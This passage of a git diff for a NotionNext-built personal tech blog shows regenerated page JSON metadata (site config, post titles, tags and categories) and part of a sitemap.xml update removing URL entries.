2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG","page":"1"},"__N_SSG":true},"page":"/search/[keyword]/page/[page]","query":{"keyword":"NotionNext BLOG","page":"1"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG","page":"1"},"__N_SSG":true},"page":"/search/[keyword]/page/[page]","query":{"keyword":"NotionNext BLOG","page":"1"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/sitemap.xml b/sitemap.xml
index 92ff77728..8ed07e6fe 100644
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -1,47 +1,47 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:news="http://www.google.com/schemas/sitemap-news/0.9" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:mobile="http://www.google.com/schemas/sitemap-mobile/1.0" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">
-<url><loc>https://github.com/BOTHSAVAGE</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/archive</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/category</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/search</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/sitemap.xml</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/search/NotionNext BLOG</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/search/NotionNext BLOG/page/1</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/%23</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/guide</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240322-angry</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240325-ollama</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240320-arthas</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240319-xmrig</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240124-deploy</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240121-skywaking</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/240119-notion</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/begin</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-2</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-3</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-4</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-5</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-6</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-7</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-8</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-9</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/article/example-10</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/category/知行合一</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
